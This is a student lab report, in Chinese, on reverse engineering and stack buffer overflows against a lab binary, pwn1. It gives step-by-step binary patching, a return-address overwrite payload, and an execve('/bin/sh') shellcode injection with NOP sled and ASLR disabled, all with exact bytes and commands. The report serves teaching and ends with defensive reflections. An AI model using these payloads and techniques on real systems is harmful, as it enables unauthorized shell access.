20242427 2025-2026-1 《网络与系统攻防技术》实验一实验报告

环境:Kali Linux(主机名 hejitao);对象:pwn1(7418 字节,32 位 ELF);自建文件名均含学号 20242427

1.基础知识

1.1 CALL 指令与相对偏移

x86 的 call 机器码为 E8 加 4 字节小端补码,跳转目标不是绝对地址,而是相对偏移:

目标地址 = call 下一条指令的地址 + 4 字节有符号偏移

偏移为负时以补码存储,又因 x86 是小端序(低字节存低地址),故 -41 写作 d7 ff ff ff。读懂 e8 d7 ff ff ff 这三个步骤,是本次修改可执行文件的基础。

1.2 常用汇编指令机器码

指令 含义 机器码
NOP 空转,可作 shellcode 滑行区 0x90
JNE 不相等则跳转 0x75
JE 相等则跳转 0x74
JMP 短/近/远/间接 无条件转移 0xEB / 0xE9 / 0xEA / 0xFF
CMP 比较(做减法不存结果,只影响标志位) 0x38~0x3D
CALL 近调用 本次重点,后跟 4 字节相对偏移 0xE8

1.3 栈帧结构与缓冲区溢出

    高地址┌──────────────┐│   返回地址 RA  │ ← 攻击目标:控制它 = 控制 EIP├──────────────┤│  保存的 EBP    │├──────────────┤│  char buf[28] │ ← gets() 不检查长度└──────────────┘低地址

foo 用 gets(buf) 读入输入。gets 不做边界检查,输入从 buf[0] 向高地址连续写入,依次覆盖 buf、保存的 EBP、返回地址。函数 ret 时从栈上弹出返回地址送入 EIP,于是 EIP 被攻击者控制。gets 因无法安全使用已在 C11 中被移除,本实验对象正是这一漏洞的反面教材。

1.4 Shellcode

一段可直接执行的机器码,本实验用经典的 25 字节 execve("/bin/sh"):

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
机器码 汇编 作用
31 c0 xor eax,eax eax = 0
50 push eax 压入字符串结束符 \0
68 2f2f7368 push 0x68732f2f 压入 "//sh"
68 2f62696e push 0x6e69622f 压入 "/bin"
89 e3 mov ebx,esp ebx → 字符串地址(第 1 参数)
50 / 53 push eax / push ebx 构造 argv =
89 e1 mov ecx,esp ecx → argv(第 2 参数)
31 d2 xor edx,edx envp = NULL(第 3 参数)
b0 0b mov al,0xb eax = 11 = __NR_execve
cd 80 int 0x80 触发系统调用

注意:两次 push 拼出的字符串是 /bin//sh(双斜杠,为凑满 4 字节对齐),与 /bin/sh 等价。这个双斜杠后来成为验证 shellcode 确实执行的关键证据(见 3.4.4)。

1.5 三个影响实验成败的保护机制

机制 检查方法 影响
PIE readelf -h,Type 为 EXEC 即未启用 未启用则函数地址固定,可硬编码
NX readelf -l 文件 | grep GNU_STACK,RWE 即可执行 开启则栈上 shellcode 无法运行
ASLR cat /proc/sys/kernel/randomize_va_space,2 为开启 开启则栈地址每次变化,无法预测

2.实验内容

对象是 Linux 可执行文件 pwn1:正常流程是 main 调用 foo 回显用户输入;程序中另含代码片段 getShell,可返回一个可用 Shell,正常情况下不会被执行。

本次目标就是设法运行这段代码,并进一步注入运行任意 shellcode。三个内容:

  1. 手工修改可执行文件,改变执行流程,直接跳转到 getShell。
  2. 利用 foo 的 BOF 漏洞,构造输入覆盖返回地址,触发 getShell。
  3. 注入自制的 shellcode 并运行。

三者代表现实中递进的攻击目标:运行原本不可访问的代码 → 强行修改执行流 → 注入任意代码。

3.实验过程

3.1 环境与目标文件准备

hostname
cd ~/exp1
file pwn1
hejitao
pwn1: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped

32-bit 说明使用 32 位地址;not stripped 说明符号表保留,objdump 才能显示出 foo、getShell 等函数名。

sha256sum pwn1
997e4fe982b347842725631d0dad4391715372e7111ae9e7689b412ac48a3b0b

按评分要求,将文件名改为包含本人学号,并做好备份:

cp pwn1 pwn1_20242427
chmod +x pwn1_20242427
cp pwn1_20242427 pwn1_20242427.bak
ls -l
-rw-rw-r-- 1 kali kali    37 Oct 11 05:47 input_20242427
-rw-rw-r-- 1 kali kali    67 Oct 11 05:55 input_shellcode_20242427
-rw-rw-r-- 1 kali kali    68 Oct 11 06:10 input_shellcode_20242427_final
-rw-rw-r-- 1 kali kali  7418 Aug 19  2016 pwn1
-rwxrwxr-x 1 kali kali  7419 Sep 27 23:58 pwn1_20242427
-rwxrwxr-x 1 kali kali  7418 Sep 27 23:36 pwn1_20242427.bak
-rwxrwxr-x 1 kali kali  7418 Oct 11 05:41 pwn1_bof_20242427
-rwxrwxr-x 1 kali kali  7418 Oct 11 05:52 pwn1_sc_20242427

其中 pwn1、pwn1_bof_20242427(实践二)、pwn1_sc_20242427(实践三)均为 7418 字节,而实践一修改后的 pwn1_20242427 为 7419 字节,多出 1 字节的原因见"问题12"。

3.2 实践一:修改机器指令,直接跳转 getShell

3.2.1 反汇编定位

objdump -d pwn1_20242427 | sed -n '/
:/,/^$/p'
080484af 
:80484af: 55 push %ebp80484b0: 89 e5 mov %esp,%ebp80484b2: 83 e4 f0 and $0xfffffff0,%esp80484b5: e8 d7 ff ff ff call 8048491 80484ba: b8 00 00 00 00 mov $0x0,%eax80484bf: c9 leave80484c0: c3 ret

call 机器码 e8 d7 ff ff ff 位于 0x080484b5,长 5 字节,故下一条指令地址为 0x080484ba。d7 ff ff ff 按小端还原为 0xFFFFFFD7 即 -41,验算 0x080484ba + (-41) = 0x08048491,正是 foo,与反汇编一致。

objdump -d pwn1_20242427 | sed -n '/:/,/^$/p'
0804847d :804847d:	55                   	push   %ebp804847e:	89 e5                	mov    %esp,%ebp8048480:	83 ec 18             	sub    $0x18,%esp8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)804848a:	e8 c1 fe ff ff       	call   8048350 804848f:	c9                   	leave8048490:	c3                   	ret

getShell 入口为 0x0804847d,功能是 system("/bin/sh")(字符串位于 0x08048560)。

3.2.2 计算新偏移

python3 -c "
getShell = 0x0804847d
next_ins = 0x080484ba
off = (getShell - next_ins) & 0xffffffff
print(hex(off), off.to_bytes(4,'little').hex(' '))
"
0xffffffc3 c3 ff ff ff

即 0x0804847d − 0x080484ba = -0x3d,补码 0xFFFFFFC3,小端为 c3 ff ff ff。对比原指令,只有第一个字节需由 d7 改为 c3。

3.2.3 用十六进制编辑器改字节

vi pwn1_20242427
操作 说明 Esc → :%!xxd 转为十六进制视图 /000004b0 定位目标行 i,把 d7 改为 c3 只改一个字符 Esc → :%!xxd -r → :wq 转回二进制并保存
修改前: 000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 00c9
修改后: 000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 00c9

即文件中偏移 0x4b6 处的字节由 d7 改为 c3。

先将 d7 误改为 c7 的错误状态(导致段错误,详见问题3):

3.2.4 验证与运行

objdump -d pwn1_20242427 | sed -n '/
:/,/^$/p'
 80484b5:	e8 c3 ff ff ff       	call   804847d 

原来的 call 8048491 已变为 call 804847d 。

./pwn1_20242427
whoami
id
ls

程序无任何输出,直接给出一个新的 Shell 提示符——因为 getShell 执行的是 system("/bin/sh")。ls 成功列出目录内容,证明执行流程被成功改变。

3.3 实践二:BOF 覆盖返回地址

实践一改的是文件,实践二不改文件,靠构造超长输入覆盖 foo 的返回地址,因此必须使用未修改的原始 pwn1(否则 main 直接调用 getShell,程序走不到存在漏洞的 foo)。

cp pwn1 pwn1_bof_20242427 && chmod +x pwn1_bof_20242427
objdump -d pwn1_bof_20242427 | sed -n '/:/,/^$/p'
08048491 :8048491:	55                   	push   %ebp8048492:	89 e5                	mov    %esp,%ebp8048494:	83 ec 38             	sub    $0x38,%esp8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax804849a:	89 04 24             	mov    %eax,(%esp)804849d:	e8 8e fe ff ff       	call   8048330 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax80484a5:	89 04 24             	mov    %eax,(%esp)80484a8:	e8 93 fe ff ff       	call   8048340 80484ad:	c9                   	leave80484ae:	c3                   	ret

两个关键点:

sub $0x38,%esp 是 56,但缓冲区实际只有 28 字节——真正的判据是传给 gets 的地址 lea -0x1c(%ebp),%eax,0x1c = 28,其余是 gcc 的栈对齐填充。 buf 起于 ebp-0x1c,故 buf → 保存的 EBP → 返回地址共 28 + 4 = 32 字节,即第 33~36 字节覆盖返回地址。

3.3.1 gdb 确认覆盖位置

gdb ./pwn1_bof_20242427
(gdb) run
1111111122222222333333334444444455555555
(gdb) info registers eip
eip            0x35353535

0x35 是字符 '5' 的 ASCII。EIP 中出现 4 个 0x35,说明 '5' 盖住了返回地址;因前 32 字符是 1/2/3/4,从第 33 个字符起才是 5,故返回地址位于第 33~36 字节。

进一步把末尾换成 12345678:

(gdb) run
1111111122222222333333334444444412345678
(gdb) info registers eip
eip            0x34333231

0x34333231 按小端拆开是字节 31 32 33 34,即 ASCII 的 '1' '2' '3' '4'。EIP 恰好等于 1234,精确证明第 33~36 个字符正覆盖返回地址。

3.3.2 构造 payload 并攻击

0x0804847d 的小端写法为 \x7d\x84\x04\x08:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242427
xxd input_20242427
00000000: 3131 3131 3131 3131 3232 3232 3232 3232  1111111122222222
00000010: 3333 3333 3333 3333 3434 3434 3434 3434  3333333344444444
00000020: 7d84 0408 0a                             }....
部分 内容 作用 前 32 字节 11…44 填满 buf(28)+ 保存的 EBP(4) 第 33~36 字节 7d 84 04 08 覆盖返回地址为 getShell 末 1 字节 0a 回车,让 gets 结束读取

必须先生成文件:\x84、\x04、\x08 是不可打印字符,无法用键盘直接输入。

(cat input_20242427; cat) | ./pwn1_bof_20242427

第一个 cat 把 payload 送入程序触发溢出;第二个 cat 保持 stdin 打开,使后续输入的命令能继续送进 shell(省略则 shell 读到 EOF 立即退出,表现为攻击无效)。

11111111222222223333333344444444}♦      ← puts 回显,末尾 } 即 0x7d
ls
input_20242427  pwn1  pwn1_20242427  pwn1_20242427.bak  pwn1_bof_20242427
whoami
kali

回显末尾的 } 就是 0x7d 的 ASCII 字符,正是 getShell 地址 0x0804847d 的最低字节,无意中证明了 payload 后 4 字节确实写入了缓冲区。

3.4 实践三:注入 shellcode 并执行

实践一、二都依赖"程序中恰好存在 getShell 这段代码";实践三不依赖程序中任何可利用代码,自行构造机器码注入栈中执行。

3.4.1 关闭保护机制

cp pwn1 pwn1_sc_20242427 && chmod +x pwn1_sc_20242427
readelf -l pwn1_sc_20242427 | grep GNU_STACK
GNU_STACK       0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

显示 RWE,说明该程序编译时未开启 NX,栈本身可执行,无需 execstack 或 patchelf 处理。

cat /proc/sys/kernel/randomize_va_space
2
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space
0

ASLR 必须关闭,否则栈地址每次运行都不同,无法预测 shellcode 位置。该设置重启后恢复。

3.4.2 构造探测 payload

先用带"占位地址"的 payload 探测 shellcode 在栈上的确切位置:

perl -e 'print "A" x 32; print "\x04\x03\x02\x01"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_20242427
偏移 字节 内容 作用 0x00–0x1f 32 41 填满 buf + 保存的 EBP 0x20–0x23 4 04 03 02 01 占位返回地址 0x01020304,用于定位 0x24–0x29 6 90 NOP 滑行区 0x2a–0x42 25 shellcode execve("/bin/sh")

本 payload 末尾故意不加 \x0a:gets 会阻塞等待输入,程序停在 gets 中不往下走,从而留出时间用 gdb 附加调试。

3.4.3 gdb 定位 shellcode 地址

(cat input_shellcode_20242427; sleep 600) | ./pwn1_sc_20242427   # 用 sleep 而非 cat,避免键盘输入被程序读取
ps -ef | grep pwn1_sc_20242427 | grep -v grep
sudo gdb -q
(gdb) attach 16928
(gdb) info registers ebp
0xf7fc4589 in __kernel_vsyscall ()
ebp            0x0

ebp = 0 的原因:程序正阻塞在 gets 内部的 read 系统调用,停在 __kernel_vsyscall,而 glibc 用 -fomit-frame-pointer 编译,EBP 已被当作通用寄存器,不再保存 foo 的栈帧指针,故无法通过 EBP 反推地址。改用直接搜索栈内存:

(gdb) find /w $esp, $esp+0x1000, 0x01020304
0xffffcefc
1 pattern found.(gdb) x/8x 0xffffcefc
0xffffcefc:  0x01020304  0x90909090  0xc0319090  0x2f2f6850
0xffffcf0c:  0x2f686873  0x896e6962  0x895350e3  0xb0d231e1

搜索方向说明:栈向低地址增长,gets 的调用层次比 foo 更深,当前 $esp 位于 foo 栈帧下方,故须向高地址($esp + 0x1000)搜索。

逐字节核对:0xffffcefc 处是占位地址 0x01020304,其后 90 90 90 90、90 90 31 c0(共 6 个 NOP 后接 shellcode),再后是 50 68 2f 2f(push eax + "/")……全部吻合。

由此得出:

返回地址槽位 = 0xffffcefc
NOP 滑行区   = 0xffffcefc + 4  = 0xffffcf00   ← 返回地址填此
shellcode    = 0xffffcefc + 10 = 0xffffcf06

3.4.4 构造最终 payload 并攻击

结构与探测 payload 一致,仅把占位地址换成真实地址 0xffffcf00(小端 \x00\xcf\xff\xff),并补上 \x0a 使 gets 立即返回:

pkill -f pwn1_sc_20242427
perl -e 'print "A" x 32; print "\x00\xcf\xff\xff"; print "\x90" x 6; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; print "\x0a"' > input_shellcode_20242427_final
xxd input_shellcode_20242427_final
00000020: 00cf ffff 9090 9090 9090 31c0 5068 2f2f  ..........1.Ph//

(cat input_shellcode_20242427_final; cat) | ./pwn1_sc_20242427

程序先由 puts 回显 payload,随后 foo 执行 ret,弹出被覆盖的返回地址 0xffffcf00,跳转到栈上的 NOP 滑行区,一路滑行到 shellcode,执行 execve("/bin/sh"):

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls
input_20242427  input_shellcode_20242427  input_shellcode_20242427_final
pwn1  pwn1_20242427  pwn1_20242427.bak  pwn1_bof_20242427  pwn1_sc_20242427
whoami
kali
echo "shellcode works"
shellcode works

注入的 shellcode 成功执行。

返回地址填 NOP 滑行区起点而非 shellcode 起点,是因为 NOP 不执行任何操作,只要返回地址落在滑行区内就会自动"滑"到 shellcode;栈地址可能有几字节漂移,填滑行区容错率更高,直接填 shellcode 起点则错一字节即崩溃。

一个意外的关键验证:退出 shell 时终端报出

/bin//sh: 5: exitexit: not found

注意其中的 /bin//sh 是双斜杠。系统中正常的 shell 路径是 /bin/sh,只有本实验注入的 shellcode 会拼出 /bin//sh(两次 push 分别压入 "//sh" 和 "/bin")。shell 报错时以 argv[0] 作前缀,因此这行信息直接证明了当前 Shell 确实由注入的 shellcode 启动,比任何截图都更有力。

3.5 三个实践的对比

实践一 实践二 实践三 改变的对象 文件字节 程序输入 程序输入 劫持点 main 的 call foo 的 ret foo 的 ret 跳转目标 getShell(代码段) getShell(代码段) 栈上的 shellcode 依赖程序中已有代码 是 是 否 额外前提 非 PIE 非 PIE、无栈保护 栈可执行、ASLR 关闭

最后两行是本质区别:实践一、二都依赖"程序里恰好存在一段本不该被执行的代码";实践三不要求程序中有任何可利用的代码——攻击者把机器码送入栈中自行执行。这正是 shellcode 注入危害更高的原因,也是 NX 保护所要解决的问题。

4.问题及解决方案

问题1:从宿主机向 Kali 传 pwn1 时,wget 始终连不上宿主机的 HTTP 服务,而服务端日志显示未收到任何请求。

问题1解决方案:宿主机 Windows 防火墙默认拦截入站连接,端口 8000 未放行,TCP 连接被丢弃。以管理员权限添加入站规则后传输成功,并用 sha256sum 校验哈希与源文件一致。

New-NetFirewallRule -DisplayName "pwn1-http" -Direction Inbound -LocalPort 8000 -Protocol TCP -Action Allow

问题2:在 vim 十六进制视图中搜索 e8d7,提示找不到。

问题2解决方案::%!xxd 的视图是每 2 字节一组显示的,实际内容为 f0e8 d7ff,e8 与 d7 之间隔着空格,故 e8d7 无法匹配。改为搜索行首地址 /000004b0。修改时使用 r(替换单字符)而非 i(插入),可避免多出字符。

问题3:按步骤修改后运行,程序报 Segmentation fault,gdb 显示崩溃点 eip = 0x08048481(即 getShell+4)。

问题3解决方案:核对字节发现修改时误将 d7 输成了 c7,偏移由 -61 变为 -57:

0x080484ba + (-57) = 0x08048481

而 0x08048481 不是指令边界,它落在 83 ec 18(sub $0x18,%esp)这条 3 字节指令的中间,CPU 从指令中间开始解码,得到非法指令而崩溃。

值得注意的是,gdb 的 bt 输出显示 #1 ... from /usr/lib32/libc.so.6,具有误导性——这实际是栈被破坏后的假回溯;真正的判据是 eip 落在了指令中间。改回 c3 后问题解决,反汇编显示 call 804847d (不再是 )。

本问题说明 call 的相对偏移必须精确到字节,一个字节的错误就会跳转到非法位置。

问题4:执行 cp pwn1_20242427.bak pwn1_20242427 报 Text file busy,无法从备份恢复。

问题4解决方案:因为该文件仍处于运行状态(残留进程或调试会话未退出)。Linux 内核禁止写入正在执行的程序文件,以防运行中的代码被篡改。用 pkill -9 结束残留进程后恢复正常。

问题5:用脚本修改字节时出现 AssertionError: 原字节不是 d7。

问题5解决方案:由于问题 4 中 cp 未成功,文件仍是被误改为 c7 的状态,而断言要求原字节为 d7 才允许修改,故断言失败。这实际起到了保护作用,避免在未知状态下误改文件。将断言放宽为允许 c7 或 d7 后解决。可见:改二进制文件前先断言校验原值,是可靠的习惯。

问题6:执行 (cat input_shellcode_20242427; cat) | ./pwn1_sc_20242427 后在终端里敲 ps 等命令,命令没有执行,反而被写入程序,程序随即崩溃并报 broken pipe。

问题6解决方案:该命令中第二个 cat 会读取并转发终端键盘输入给程序,在同一终端敲的任何命令都会被 gets 当作 payload 读取。正确做法是:注入 payload 的终端不能再输入任何内容,调试命令必须在另一终端执行;或把第二个 cat 换成 sleep 600。 为确认后续操作不会重蹈覆辙,先用 tty 查明自己所在终端——下两图显示当前终端为 /dev/pts/0,而 pwn1 运行在 pts/1,两者不同,故在当前终端调试是安全的。

问题7:gdb 附加进程后 info registers ebp 得到 ebp = 0x0,无法据此计算缓冲区地址。

问题7解决方案:此时程序阻塞在 gets 内部的 read 系统调用(停在 __kernel_vsyscall),而 glibc 用 -fomit-frame-pointer 编译,EBP 已作通用寄存器,不再保存 foo 的栈帧指针,故读到 0。 改为直接在栈上搜索 payload 的特征值:在返回地址位置写入独一无二的标记 0x01020304,再用 find 定位:

(gdb) find /w $esp, $esp+0x1000, 0x01020304

搜索方向必须向高地址,因为栈向低地址增长,而 gets 的调用层次比 foo 更深。

问题8:执行 find /w $esp, $esp+0x4000, 0x01020304 报 Invalid search space, end precedes start。

问题8解决方案:gdb 做表达式计算时把 $esp 按有符号 32 位整数处理。$esp 形如 0xffffd000,有符号值为 -0x3000,加 0x4000 后变成 +0x1000,反而变小,于是"结束地址"小于"起始地址"而报错。把偏移减小到 0x1000 即可避免溢出;若栈地址特别高,也可用 info proc mappings 查出 [stack] 实际范围,用两个绝对地址搜索。

问题9:pkill -9 pwn1_sc_20242427 提示 pattern that searches for process name longer than 15 characters will result in zero matches,杀不掉进程。

问题9解决方案:Linux 内核中进程名(comm)长度上限为 15 字符,而 pwn1_sc_20242427 有 16 字符,被截断后无法匹配。改用 pkill -f pwn1_sc_20242427 匹配完整命令行,或直接 kill -9 。

问题10:执行 sudo 时提示 sudo: unable to resolve host hejitao: Name or service not known。

问题10解决方案:修改主机名后 /etc/hosts 中没有对应解析记录。补充记录后告警消失(该告警只造成延迟,不影响命令执行):

echo "127.0.1.1 hejitao" | sudo tee -a /etc/hosts

问题11:实践一、二中退出所获得的 Shell 时,终端报 zsh: segmentation fault。

问题11解决方案:这是正常现象。getShell 末尾是 leave; ret,而它是被 call 或 BOF 直接跳入执行的,栈上没有合法的调用者返回地址;shell 退出后 getShell 执行到 ret 会弹出无效地址而崩溃。此时 shell 已完成任务,崩溃发生在退出之后,不影响攻击结果。这也解释了终端同时报 broken pipe(管道随程序崩溃而断开)。

问题12:用 vim 的 :%!xxd / :%!xxd -r 往返保存后,文件由 7418 字节变为 7419 字节。

问题12解决方案:由 ls -l 对比可见,pwn1_20242427(7419)比备份 pwn1_20242427.bak(7418)多 1 字节。原因是 vim 保存文本时会在文件末尾补一个换行符(受 eol 选项影响),:%!xxd -r 转回二进制时被保留。

由于本次修改的字节位于偏移 0x4b6,远早于文件末尾,多出的字节只影响尾部,既未破坏 ELF 结构也未影响被修改的 call 指令,程序运行正常。若要避免,可用 truncate -s 7418 pwn1_20242427 截掉,或改用 Python 按字节原地改写(本次最终采用的方式),既不改变文件长度,又能断言校验原字节,更为可靠。

5.学习感悟、思考等

第一,理解了机器指令的"相对性"。 此前我下意识以为 call 后面跟的是目标函数的绝对地址,实际上存的是相对偏移,d7 ff ff ff 需要按补码、小端两步还原成 -41,再加上下一条指令地址才能得到 foo 的位置。把这三步串起来算通的那一刻,才算真正看懂了反汇编输出的含义。

第二,深刻体会到一个字节的威力与代价。 我误把 d7 敲成 c7,仅一个字符之差,偏移就从 -61 变成 -57,跳转目标从 0x0804847d 偏到 0x08048481。由于后者不是指令边界,CPU 从一条指令的中间开始解码,程序立刻崩溃。这让我直观理解了:机器码没有"容错",指令边界本身就是语义的一部分。 同时也让我明白,调试二进制问题时 eip 的值比 bt 的回溯更可信——栈被破坏后,回溯出的调用链可能是完全虚假的。

第三,意识到"调试手段本身也有前提"。 实践三中我原以为只要 attach 进程、读出 ebp 就能算出缓冲区地址,结果读到 ebp = 0。原因是我忽略了 glibc 用 -fomit-frame-pointer 编译、此刻程序停在系统调用里,EBP 早已不是栈帧指针。这提醒我,任何调试方法都建立在"当前处于什么上下文"的判断之上;换成主动在栈上放特征值再用 find 搜索,反而更直接可靠。类似地,find 因 gdb 按有符号数计算地址而溢出报错,也说明工具的默认行为需要理解,不能想当然。

第四,关于工具的选择。 一开始用 vim 手改字节,虽完成了任务,但一次手滑就导致崩溃,且往返保存还多了 1 字节。后来改用 Python 脚本修改并在脚本中加入断言校验原字节,才真正稳下来。手工操作适合理解与演示,可重复、可校验的自动化方式才适合实际工作——这也正是安全领域强调"可复现"的原因。

第五,对防御的思考。 三个实践能成功的前提非常明确:程序未启用 PIE、未启用 NX、系统关闭了 ASLR。现代系统普遍同时开启这三项保护,正是为了抬高此类攻击的门槛。但更根本的问题在于,程序里存在一段本不该被执行的代码——如果 getShell 这样的敏感功能在设计时就不存在,后续无论哪种攻击手法都无从谈起。这提示我们:安全设计应从"减少攻击面"入手,而不仅是依赖运行时的缓解机制。

第六,一个细节带来的启发。 实践三退出 shell 时终端报出的 /bin//sh: 5: exitexit: not found 让我一开始以为是出错,仔细看才发现 argv[0] 显示的是 /bin//sh(双斜杠)——正是我自己 shellcode 里两次 push 拼出来的字符串。这个"意外"反而成了最有力的证据:系统原有的 shell 绝不会显示这个路径。这让我意识到,攻击与验证都体现在细节里,能解释清楚每一个字节的来源,才算真的掌握了。

参考资料

逆向及Bof基础实践说明(实验指导书) 网络对抗实验一 逆向及Bof基础实践 20145306 逆向与Bof基础 Smashing The Stack For Fun And Profit —— Aleph One Intel x86 指令参考手册(Felix Cloutier) Linux 系统调用表 GNU GDB 官方文档